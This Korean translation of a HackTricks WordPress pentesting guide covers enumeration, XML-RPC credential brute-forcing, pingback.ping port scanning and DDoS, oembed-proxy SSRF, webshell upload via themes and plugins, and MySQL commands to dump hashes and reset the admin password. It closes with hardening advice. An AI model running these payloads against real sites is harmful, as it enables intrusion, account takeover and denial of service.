22 KiB
워드프레스
htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!
HackTricks를 지원하는 다른 방법:
- 회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 디스코드 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
- 해킹 트릭을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.
Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
기본 정보
업로드된 파일은 여기로 이동합니다: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
테마 파일은 /wp-content/themes/에 있으므로 테마의 일부 php를 변경하여 RCE를 얻으려면 해당 경로를 사용할 수 있습니다. 예: 테마 twentytwelve를 사용하여 /wp-content/themes/twentytwelve/404.php에서 404.php 파일에 액세스할 수 있습니다.
다른 유용한 URL은: /wp-content/themes/default/404.php
wp-config.php에서 데이터베이스의 루트 암호를 찾을 수 있습니다.
확인해야 할 기본 로그인 경로: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
주요 워드프레스 파일
index.php
license.txt
에는 설치된 워드프레스 버전과 같은 유용한 정보가 포함되어 있습니다.wp-activate.php
는 새로운 워드프레스 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다.- 로그인 폴더(숨기기 위해 이름이 변경될 수 있음):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
는 WordPress의 기능을 나타내는 파일로, HTTP를 전송 메커니즘으로 사용하고 XML을 인코딩 메커니즘으로 사용합니다. 이러한 유형의 통신은 WordPress REST API에 의해 대체되었습니다.wp-content
폴더는 플러그인 및 테마가 저장되는 주요 디렉토리입니다.wp-content/uploads/
는 플랫폼에 업로드된 모든 파일이 저장되는 디렉토리입니다.wp-includes/
는 인증서, 글꼴, JavaScript 파일 및 위젯과 같은 코어 파일이 저장되는 디렉토리입니다.wp-sitemap.xml
은 워드프레스 버전 5.5 이상에서 Worpress가 모든 공개 게시물 및 공개 쿼리 가능한 게시 유형 및 분류에 대한 사이트맵 XML 파일을 생성합니다.
포스트 익스플로잇레이션
wp-config.php
파일에는 데이터베이스 이름, 데이터베이스 호스트, 사용자 이름 및 암호, 인증 키 및 솔트, 데이터베이스 테이블 접두사와 같이 WordPress가 데이터베이스에 연결하는 데 필요한 정보가 포함되어 있습니다. 이 구성 파일은 문제 해결에 유용한 DEBUG 모드를 활성화하는 데도 사용할 수 있습니다.
사용자 권한
- 관리자
- 편집자: 자신과 다른 사람의 게시물을 게시하고 관리합니다.
- 작가: 자신의 게시물을 게시하고 관리합니다.
- 기고자: 자신의 게시물을 작성하고 관리하지만 게시할 수는 없습니다.
- 구독자: 게시물을 둘러보고 프로필을 편집할 수 있습니다.
수동 열거
워드프레스 버전 확인
/license.txt
또는 /readme.html
파일을 찾을 수 있는지 확인하세요.
페이지의 소스 코드(예: https://wordpress.org/support/article/pages/) 내에서:
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS 링크 파일
- JavaScript 파일
플러그인 가져오기
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
{% endcode %}
테마 가져오기
{% code overflow="wrap" %}
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
{% endcode %}
일반적으로 버전 추출하기
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
{% endcode %}
Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축 및 자동화하세요.
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
활성 열거
플러그인 및 테마
아마도 모든 플러그인 및 테마를 찾을 수는 없을 것입니다. 모든 것을 발견하려면 플러그인 및 테마 목록을 적극적으로 브루트 포스해야 합니다 (다행히도 이 목록을 포함하는 자동화된 도구가 있습니다).
사용자
ID 브루트
WordPress 사이트에서 유효한 사용자를 얻으려면 사용자 ID를 브루트 포스해야 합니다:
curl -s -I -X GET http://blog.example.com/?author=1
만약 응답이 200 또는 30X이면, id가 유효하다는 것을 의미합니다. 응답이 400이면, id가 유효하지 않습니다.
wp-json
또한 쿼리를 사용하여 사용자에 대한 정보를 얻을 수도 있습니다:
curl http://blog.example.com/wp-json/wp/v2/users
다른 /wp-json/
엔드포인트는 사용자에 관한 정보를 공개할 수 있습니다.
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
이 엔드포인트는 게시물을 작성한 사용자만 노출됩니다. 이 기능을 활성화한 사용자에 대한 정보만 제공됩니다.
또한 /wp-json/wp/v2/pages은 IP 주소를 노출시킬 수 있습니다.
로그인 사용자 이름 열거
**/wp-login.php
**에 로그인할 때 메시지는 지정된 사용자 이름이 존재하는지 여부에 따라 다릅니다.
XML-RPC
xml-rpc.php
가 활성화되어 있다면 자격 증명 브루트 포스를 수행하거나 다른 리소스에 DoS 공격을 실행할 수 있습니다. (예를 들어 여기를 사용하여이 프로세스를 자동화할 수 있습니다).
활성화되어 있는지 확인하려면 _/xmlrpc.php_에 액세스하고 이 요청을 보냅니다:
확인
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
자격 증명 브루트포스
wp.getUserBlogs
, wp.getCategories
또는 **metaWeblog.getUsersBlogs
**는 자격 증명을 브루트포스할 수 있는 메서드 중 일부입니다. 이 중 하나를 찾을 수 있다면 다음과 같이 보낼 수 있습니다:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
200 코드 응답 내부의 "잘못된 사용자 이름 또는 비밀번호" 메시지는 자격 증명이 유효하지 않을 때 나타납니다.
올바른 자격 증명을 사용하면 파일을 업로드할 수 있습니다. 응답에는 경로가 표시됩니다 (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
또한 **system.multicall
**을 사용하여 동일한 요청에서 여러 자격 증명을 시도할 수 있기 때문에 자격 증명을 빠르게 브루트 포스할 수 있는 보다 빠른 방법이 있습니다:
2FA 우회
이 방법은 프로그램을 위한 것이며 사람을 위한 것이 아니며 오래되어 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명을 가지고 있지만 본 입구가 2FA로 보호되어 있는 경우, xmlrpc.php를 남용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을 수도 있습니다. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s에서 설명한 대로 RCE에 도달할 수도 있습니다.
DDoS 또는 포트 스캔
목록 내에서 pingback.ping 메서드를 찾을 수 있다면 Wordpress에게 임의의 요청을 보내도록 할 수 있습니다.
이를 사용하여 수천 개의 Wordpress 사이트가 한 위치에 액세스하도록 요청하거나 Wordpress가 일부 내부 네트워크를 스캔하도록 할 수 있습니다(임의의 포트를 지정할 수 있음).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
만약 faultCode 값이 0 (17)보다 큰 경우, 해당 포트가 열려 있다는 것을 의미합니다.
**system.multicall
**의 사용법을 살펴보고 이 방법을 남용하여 DDoS를 유발하는 방법을 배우세요.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
이 파일은 일반적으로 워드프레스 사이트의 루트 아래에 존재합니다: /wp-cron.php
이 파일에 액세스하면 "무거운" MySQL 쿼리가 수행되므로, 공격자가 DoS를 발생시키는 데 사용할 수 있습니다.
또한 기본적으로 wp-cron.php
은 모든 페이지 로드(클라이언트가 워드프레스 페이지를 요청할 때마다)마다 호출되며, 고트래픽 사이트에서 문제를 일으킬 수 있습니다 (DoS).
Wp-Cron을 비활성화하고 호스트 내에서 필요한 작업을 정기적으로 수행하는 실제 cronjob을 생성하는 것이 권장됩니다.
/wp-json/oembed/1.0/proxy - SSRF
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_에 액세스를 시도하면 워드프레스 사이트가 요청을 보낼 수 있습니다.
작동하지 않을 때의 응답:
SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
이 도구는 methodName: pingback.ping을 확인하고 /wp-json/oembed/1.0/proxy 경로를 찾아 존재하는 경우 이를 악용하려고 시도합니다.
Automatic Tools
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
비트를 덮어쓰기로 액세스 얻기
실제 공격보다는 호기심입니다. CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man에서는 워드프레스 파일 중 아무거나 1비트를 뒤집을 수 있습니다. 따라서 파일 /var/www/html/wp-includes/user.php
의 위치 5389
를 뒤집어서 NOT (!
) 연산을 NOP으로 만들 수 있습니다.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
패널 RCE
사용 중인 테마의 php 수정 (관리자 자격 증명 필요)
외관 → 테마 편집기 → 404 템플릿 (오른쪽에 위치)
php 쉘을 위한 내용 변경:
인터넷에서 어떻게 해당 업데이트된 페이지에 액세스할 수 있는지 검색하십시오. 이 경우 여기에 액세스해야 합니다: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
다음을 사용할 수 있습니다:
use exploit/unix/webapp/wp_admin_shell_upload
플러그인 RCE
PHP 플러그인
플러그인으로 .php 파일을 업로드할 수 있습니다.
예를 들어 다음과 같이 php 백도어를 만듭니다:
그런 다음 새 플러그인을 추가합니다:
플러그인을 업로드하고 지금 설치를 누릅니다:
Procced를 클릭합니다:
아마도 이것은 외관상 아무것도 하지 않을 것입니다. 그러나 미디어로 이동하면 업로드된 쉘을 볼 수 있습니다:
액세스하면 역술을 실행할 URL을 볼 수 있습니다:
악성 플러그인 업로드 및 활성화
이 방법은 취약하다고 알려진 악성 플러그인을 설치하고 웹 쉘을 얻기 위해 악용할 수 있는 방법입니다. 이 프로세스는 다음과 같이 WordPress 대시보드를 통해 수행됩니다:
- 플러그인 획득: 플러그인은 여기와 같은 Exploit DB와 같은 소스에서 얻습니다.
- 플러그인 설치:
- WordPress 대시보드로 이동한 다음
대시보드 > 플러그인 > 플러그인 업로드
로 이동합니다. - 다운로드한 플러그인의 zip 파일을 업로드합니다.
- 플러그인 활성화: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다.
- 악용:
- "reflex-gallery" 플러그인이 설치되고 활성화된 경우 취약점을 악용할 수 있습니다.
- Metasploit 프레임워크는 이 취약점에 대한 악용을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행하여 미터프리터 세션을 설정할 수 있으며, 이를 통해 사이트에 무단 액세스 권한이 부여됩니다.
- WordPress 사이트를 악용하는 다양한 방법 중 하나임을 강조합니다.
콘텐츠에는 WordPress 대시보드에서 플러그인을 설치하고 활성화하는 단계를 보여주는 시각적 지원이 포함되어 있습니다. 그러나 이러한 취약점을 악용하는 것은 적절한 승인 없이는 불법이며 윤리적이지 않습니다. 이 정보는 책임 있게 사용되어야 하며 명시적인 허가를 받은 펜테스팅과 같은 법적 맥락에서만 사용되어야 합니다.
더 자세한 단계는 확인하세요: https://www.hackingarticles.in/wordpress-reverse-shell/**
사후 악용
사용자 이름과 비밀번호 추출:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
관리자 비밀번호 변경:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
워드프레스 보호
정기적인 업데이트
워드프레스, 플러그인 및 테마가 최신 상태인지 확인하세요. 또한 wp-config.php에서 자동 업데이트가 활성화되어 있는지 확인하세요:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
또한 신뢰할 수 있는 WordPress 플러그인과 테마만 설치하십시오.
보안 플러그인
기타 권장 사항
- 기본 admin 사용자 제거
- 강력한 암호 및 2단계 인증 사용
- 주기적으로 사용자 권한 검토
- 브루트 포스 공격 방지를 위해 로그인 시도 제한
wp-admin.php
파일 이름 변경 및 내부 또는 특정 IP 주소에서만 액세스 허용
Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 PDF로 HackTricks 다운로드하려면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그 획득
- The PEASS Family를 발견하고 당사의 독점 NFTs 컬렉션을 살펴보세요
- 💬 디스코드 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
- HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.